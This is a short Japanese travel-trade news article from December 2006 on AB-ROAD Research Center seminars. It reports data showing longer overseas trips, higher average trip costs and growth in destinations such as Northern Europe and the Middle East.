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エイビーロード・リサーチ・センター、旅行の長期化傾向で対応紹介

  • 2006年12月22日
 リクルート海外旅行推進室はこのほど、名古屋を皮切りに、大阪、東京で「AB-ROAD海外旅行トレンドセミナー」を開催、このほど発足したエイビーロード・リサーチ・センター所長の稲垣昌宏氏が自社のデータをもとに旅行費用、予約時期の動向を分析、紹介した。

 この中で特に興味深いのは旅行期間が0.2日ほど増加している動き。ヨーロッパ方面の旅行が増えており、稲垣氏は「今後も増えていく」との見方を示す。また、燃油サーチャージなどを除いた旅行費用も平均で16.5万円と前年から2.6万円の増加。こうした動きは、「プチ・ゴージャス」などが流行する現在のOL層、あるいはロングステイの下見を含むツアーの増加など、新たな切り口のツアーにも支えられているよう。

 また、今後のチャンスとして、デスティネーションでは伸びている方面は北欧、中東などが関西発の増便から、継続するものと予測。商品ではグアム4日ではなく5日、あるいはイタリアの8日間から9日間など、従来の定番とされる日程よりも1・2日程度長く、かつ料金的にも訴求力があるものでは、検索条件などでもヒットしやすい、などのアドバイスをした。